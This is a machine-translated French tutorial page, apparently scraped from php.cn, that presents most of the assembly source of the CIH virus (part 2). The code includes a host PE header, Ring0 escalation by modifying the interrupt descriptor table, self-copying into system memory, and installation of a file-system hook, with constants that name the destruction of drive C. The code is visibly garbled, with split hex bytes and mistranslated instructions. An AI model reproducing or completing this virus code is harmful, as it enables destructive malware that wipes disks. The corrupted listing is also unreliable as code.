Maison > développement back-end > tutoriel php > Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]

黄舟
Libérer: 2023-03-04 21:48:02
original
2260 Les gens l'ont consulté

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]

SEGMENT OriginalAppEXE 
  
  ;PE格式可执行文件文件头
  En-tête de fichier : 
  db 04dh, 05ah, 090h, h, 003h, 000h, 000h, 000h 
  db 004h, 000h , 000h, 000h, 0ffh, 0ffh, 000h, 000h 
  db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, , 000h, 000h, 000h, 000h, 000h, 000h
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
  db 00eh, 01fh, 0bah, 00eh 00, 0h, 0b4h, 009h, 0cdh 
  db 021h , 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
  db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
  db , 06dh, 020h, 063h, 061h, 06eh, 06eh , 06fh 
  db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
  db 020h, 069h, 06eh, 020h, 044h, 053h, , 020h 
  db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
  db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 050h, 045h, 00, 0h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
  db 00bh, 001h, 005h, 000h, 000h, 010h , 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 010h, 010h, 000h, 000h, 000h, 0h, 000h, 000h 
  db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
  db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
  db 000h, , 000h, 000h, 000h, 000h, 000h, 000h 
  db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 
  db 000h, 000h, 000h, 000h, 002h , 000h, 000h, 000h 
  db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
  db 000h, 000h, 010h, 00, 0h, 010h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db , 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, , 000h 
  db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000, 0h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  d, b 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, , 000h, 000h 
  db 000h, 000h, 000h , 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 00, 0h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 02eh, 074h, 065h, 078h, 074h, 000h, 000h 
  db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
  db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
  db 000h, 000h, 000h, 000h, , 000h, 000h, 000h 
  db 000h, 000h , 000h, 000h, 020h, 000h, 000h, 060h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 00, 0h, 000h, 000h, 000h, 000h, 000h, 000h
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, , 000h, 000h, 000h, 000h 
  db 000h , 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 00 0h, 000h, 000h, 000h, 000h, 000h, 000h , 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 00, 0h, 000h 
  db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  dd 00000000h, VirusSize 
  
  OriginalAppEXE ENDS 
  
   ; 病毒程序开始
  TRUE = 1 
  FALSE = 0 
  DEBUG = FALSE 
  
  ;标识其版本号1 .4版
  MajorVirusVersion = 1 ;主版本号 
  MinorVirusVersion = 4 ;次版本号 
  VirusVersion = MajorVirusVersion*10h MinorVirusVersion ;合成版本号 
  
  IF DEBUG ;是否调试 
  IF DEBUG ; illHardDiskNumber = 81h ;破坏D盘
HookExceptionNumber = 05h ; Utiliser l'interruption numéro 5
ELSE
FirstKillHardDiskNumber = 80h ; Détruire le lecteur C
HookxceptionNumber = 03h ; Utiliser l'interruption numéro 3
ENDIF

FileNameBufferSize = 7fh
 
 ; Le segment de code de virus commence
SEGMENT VirusGame

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
> MyVirusStart :
push ebp

; Modifier la gestion des exceptions système pour éviter de générer des messages d'erreur
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax , fs : [ebx]
 
 call @0
 
 @0 :
 pop ebx; Obtenez le décalage de départ du programme et utilisez ce décalage relatif pour obtenir l'adresse absolue
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

 ; Modifier le tableau de description d'interruption pour obtenir l'autorisation de niveau Ring0 la plus élevée
push eax
sidt [esp- 02h] ; Obtenir l'adresse de base de la table de description de l'interruption vers ebx
pop ebx ;

add ebx, HookExceptionNumber*08h 04h ; Calculer l'adresse de base de l'interruption à utiliser pour ebx

cli ;Désactiver les interruptions avant de modifier
 
mov ebp, [ebx] ;Obtenir l'adresse de base de la gestion des exceptions
mov bp, [ebx-04h] ;Obtenir l'entrée

lea esi, MyExceptionHook-@1[ecx]
 
push esi; esi est l'adresse de la routine d'interruption du virus

mov [ebx-04h], si
shr esi, 16 ; exception
mov [ebx 02h], si; Modifier l'adresse de base de l'interruption pour pointer vers la routine d'interruption virale

pop esi

Générer une exception qui entre au niveau ring0
int; HookExceptionNumber; En guise d'interruption Entrez le niveau Ring0
ReturnAddressOfEndException = $

; Fusionner tous les codes de virus
push esi
mov esi, eax ;esi pointe vers le début du virus

; Boucle de réplication
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]

rep movsb ; Copiez le code du virus à la première adresse de la mémoire système allouée
sub eax, 08h
mov esi, [eax]
ou esi, esi
jz QuitLoopOfMergeAllVirusCodeSection; ZF = 1

jmp LoopOfMergeAllVirusCodeSection;Copiez la section suivante

QuitLoopOfMergeAllVirusCodeSection : esi
int HookExceptionNumber
🎜>; Enregistrer la gestion des exceptions
ReadyRestoreSE :
sti ; Démarrer l'interruption
Arrêtera de s'exécuter et passera directement au programme d'origine
StopToRunVirusCode :
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [ eax]
 
RestoreSE :
pop dword ptr fs :[ebx]
pop eax

; Passer au programme d'origine et exécuter normalement
pop ebp

Push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; le programme d'origine sur la pile
ret ; Retour au début du programme d'origine sous forme de sous-programme return
; Module d'initialisation du virus
MyExceptionHook :
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook ; Si le code du virus a été copié
; Accédez au programme pour installer le hook système

mov ecx, dr0 ; Vérifiez si dr0 a été défini (dr0 est l'indicateur de résidence du virus)
jecxz AllocateSystemMemoryPage ; S'il n'est pas défini, allouer la mémoire système

ajouter dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; Retour Aller au programme d'origine
ExitRing0Init :
mov [ebx- 04h], bp ;
shr ebp, 16 ; Restaurer l'exception
mov [ebx 02h], bp ; Restaurer l'adresse de base de l'interruption d'origine

Retour d'interruption

; la mémoire système à utiliser
AllocateSystemMemoryPage:
mov dr0, ebx ; Définir l'indicateur résident du virus dr0
push 00000000fh
push ecx
push 0ffffffffh
push ecx ; méthode ULONG EXTERN _PageAllocate(ULONG nPages,
,ULONG flags);
push ecx;
push ecx;dd 00010053h ; Utiliser les registres eax, ecx, edx et flags
Ajouter esp, 08h*04h ; Restaurer le pointeur de pile

xchg edi, eax ; pointe vers la première adresse de la mémoire système allouée
lea eax , MyVirusStart-@2[esi] ;eax pointe vers le début du virus
 
iretd ;Interruption de sortie

; Initialiser le hook du système de fichiers
InstallMyFileSystemApiHook :
lea eax , FileSystemApiHook-@6 [edi] ; Pointez sur la première adresse du programme de hook du système de fichiers
 
 push eax;
 int 20h; Vxd appelle IFSMgr_InstallFileSystemApiHook
 IFSMgr_InstallFileSystemApiHook = $
 dd 00400 067h ; Utilisez eax, ecx, edx et flags register
 
mov dr0, eax; Enregistrez la première adresse du programme de hook du système de fichiers d'origine dans dr0
pop eax est égal à la première adresse du programme de hook du système de fichiers

; Enregistrez l'entrée d'appel de fonction IFSMgr_InstallFileSystemApiHook d'origine
 mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx est l'entrée de IFSMgr_InstallFileSystemApiHook
mov OldInstallFileSystemApiHook-@3[ eax], edx
 
; Modifier l'entrée IFSMGR_INSTALLFILESYSTEMAPIHOOK
Lea Eax, InstallfileSystemapihook-@3 [Eax]
MOV [ECX], Eax
 ;

Ce qui précède est le contenu de l'exemple d'analyse du code source du programme antivirus-virus CIH [2]. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn). )!

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal